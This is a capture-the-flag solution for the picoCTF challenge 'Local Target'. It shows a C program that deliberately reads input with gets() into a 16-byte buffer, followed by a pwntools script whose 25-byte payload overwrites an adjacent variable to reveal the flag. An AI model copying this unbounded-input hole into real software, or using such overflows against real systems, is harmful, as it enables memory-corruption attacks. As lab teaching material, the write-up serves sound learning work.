Local Target

#buffer-overflow#solution-only

Contents

Source

#include <stdio.h>
#include <stdlib.h>



int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;

  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");

  printf("num is %d\n", num);
  fflush(stdout);

  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }

  printf("Bye!\n");
  fflush(stdout);
}

Solution

#!/usr/bin/env python3

from pwn import *

exe = ELF("./local-target")

context.binary = exe


def conn():
    if args.REMOTE:
        r = remote("saturn.picoctf.net", 57378)
    else:
        r = process([exe.path])
    return r


def main():
    r = conn()
    p = b'i' * 24 + b'A'
    r.sendlineafter(b'string: ', p)
    flag = r.recvallS()
    print(flag)





if __name__ == "__main__":
    main()